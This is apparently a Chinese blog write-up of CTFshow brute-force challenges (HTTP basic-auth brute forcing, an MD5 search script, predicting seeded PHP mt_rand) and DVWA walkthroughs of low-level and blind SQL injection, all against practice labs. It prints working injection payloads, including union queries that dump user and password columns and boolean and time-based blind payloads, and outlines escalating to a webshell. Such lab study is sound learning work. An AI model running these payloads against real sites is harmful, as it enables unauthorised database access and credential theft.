爆破与dvwa靶场

爆破

web21

在这里插入图片描述

题目:爆破什么的,都是基操

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AumfpwR6-1644057106398)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204152413922.png)]

我们尝试抓包

在这里插入图片描述

我们发现用户名和密码被加密,用burp自带解码工具解码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hZygZX5Q-1644057443409)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204155544521.png)]

发现用户名和密码中间用冒号隔开

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BpZYBE0N-1644057106399)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204161055780.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XSTWcQdc-1644057106400)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204161948753.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PJtMze4m-1644057106400)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204161927249.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MJ5bZEup-1644057106400)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204162053080.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kbaiPOfm-1644057106400)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204162106023.png)]

爆破成功

在这里插入图片描述

web22

题目:域名也可以爆破的,试试爆破这个ctf.show的子域名

在这里插入图片描述

页面失效,提交flag{ctf_show_web}

web23

题目:还爆破?这么多代码,告辞!

在这里插入图片描述

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

查看代码

token被md5加密后的传参需要满足以下条件

1.要第二位与第15位与第18位相同 (因为下标是从0开始)
2.第二位+第15位+第18位/第二位=第32位

我们利用现成脚本:

import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
    for j in a:
        b = (str(i) + str(j)).encode("utf-8")
        m = hashlib.md5(b).hexdigest()
        if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
            if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
                print('原字符串为:',b)
                print('加密后字符串为:',m)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aLvxhEIs-1644057849959)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204164332386.png)]

所以token=3j

传参token=3j 得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RSAfK9cK-1644057106402)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204164504477.png)]

在这里插入图片描述

web24

题目:爆个🔨

  • 考点: php生成随机数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BeXGJE5q-1644057106402)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204164614324.png)]

if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }

PHP伪随机数种子

首先查看mt_srand()和mt_rand()函数

mt_rand() 是使用 Mersenne Twister 算法返回随机整数,与 rand() 函数的主要区别是:
mt_rand()产生随机数值的平均速度比 libc 提供的 rand()快四倍,并且播种函数使用mt_srand(),而不是srand()。

当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的,所以运行后发现mt_rand()=1155388967,传参r=1155388967即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nw2jiZho-1644057106403)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170008680.png)]

![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vRmapFfY-1644057106403)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170042247.png)](https://img-blog.csdnimg.cn/f7dd52d6c92b4f6680290e5a2dfbf796.png)

web25

题目:爆个🔨,不爆了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mHrANaQk-1644057106403)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204172906276.png)]

查看源码:

if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}

由源码可以发现我们可以利用r=0得到mt_rand()的值

通过如下代码,我们知道要将两个随机数相加得token值

if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))

在这里插入图片描述

最终得出

r=183607393 token

=794171094

传参得到flag

dvwa靶场

SQL Injection(low)

SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

1.UNION query SQL injection(可联合查询注入)
2.Stacked queries SQL injection(可多语句查询注入)
3.Boolean-based blind SQL injection(布尔型注入)
4.Error-based SQL injection(报错型注入)
5.Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

查找这个表里面的数据库库名

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 

由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

注入测试语句举例:

1' or 1=1#
1 and 1=2'union select database(),2#

在这里插入图片描述

在这里插入图片描述

判断注入:
1   页面正常

1'  页面返回错误:报错“...use near ''1''' at line 1...”

1' or '1'='2 页面返回为空,查询失败

1' or '1'='1 页面正常,并返回更多信息,成功查询

判断存在的是字符型注入。

猜字段:
1' order by 2#

得到字段数为2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EVGzR6jH-1644057106404)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205174804202.png)]

确定回显点:
1' union select 1,2# 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w23MkORK-1644057106404)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205174834340.png)]

猜数据库:
1' union select 1,database()#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VXwZqymo-1644057106404)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205175019262.png)]

查找当前数据库中的表

1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2Eb10KWQ-1644057106405)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205180150590.png)]

查找表users中的字段

1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0KUjQAS-1644057106405)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205180204706.png)]

查找数据

1 ' union select group_concat(user),group_concat(password) from users #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NCxonFWv-1644057106405)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205180224159.png)]

SQL Injection (Blind)

SQL盲注简介

(1)SQL盲注

SQL Injection(Blind),即SQL盲注;

注入:可以查看到详细内容;

盲注:目标只会回复是或不是,没有详细内容;

(2)手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。

(3)SQL盲注的类型

基于布尔值的盲注;

基于时间的盲注;

基于报错的盲注;

(4)SQL盲注的过程

1. 判断是否存在注入,注入是字符型还是数字型;

2. 猜解当前数据库名;

    猜解数据库的长度;猜解数据库的名称;

3. 猜解数据库中的表名;

    猜解库中有几个表;猜解表的长度;猜解表的名称;

4. 猜解表中的字段名;

    猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

5. 猜解数据;

查看源码:

<?phpif( isset( $_GET[ 'Submit' ] ) ) {  // Get input  $id = $_GET[ 'id' ];  // Check database  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors  // Get results  $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors  if( $num > 0 ) {    // Feedback for end user    echo '<pre>User ID exists in the database.</pre>';  }  else {    // User wasn't found, so the page wasn't!    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );    // Feedback for end user    echo '<pre>User ID is MISSING from the database.</pre>';  }  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

分析:

Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL漏洞;

同时SQL语句查询返回的结果只有两种:

User ID exists in the database;User ID is MISSING from the database;

基于布尔的盲注:

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:

在这里插入图片描述

输入1’ and 1=1 #,显示存在:

在这里插入图片描述

说明存在字符型的SQL盲注。

2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V5R0b2N7-1644057106406)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205181235019.png)]

说明数据库名长度为4。

采用二分法猜解数据库名。
输入

1’ and ascii(substr(databse(),1,1))>97 #

显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<122 #

显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<109 #

显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<103 #

显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<100 #

显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入

1’ and ascii(substr(databse(),1,1))>100 #

显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

1' and ascii(substr(database(),1,1))=100#        //d

1' and ascii(substr(database(),2,1))=118#        //v

1' and ascii(substr(database(),3,1))=119#        //w

1' and ascii(substr(database(),4,1))=97#          //a

最终获得库名:dvwa

猜解数据库中表的个数

输入

1' and  (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LuEsFT4K-1644057106406)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205181659491.png)]

猜解数据库中表的长度**(guestbook——9,users——5)**

输入

 1' and   length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

输入

1' and  length(substr((select  table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

猜解数据库中的表名(guestbook,users)

输入

1' and  ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#

以此类推:guestbook中的k的表示为:

输入

1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#

以此类推:users表中u如下表示:

1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#

猜解users表中有几个字段

输入

1' and  if((select count(column_name)  from information_schema.columns  where table_name='users')=8,sleep(5),1)#

猜解字段的长度(以user_id为例)

输入

1' and   if(length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#

猜解字段的名称(以user_id中的u为例)

输入

1' and   if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#     //u

猜解数据;

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin中的a;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0qgzp3yl-1644057106406)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220205182810685.png)]

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值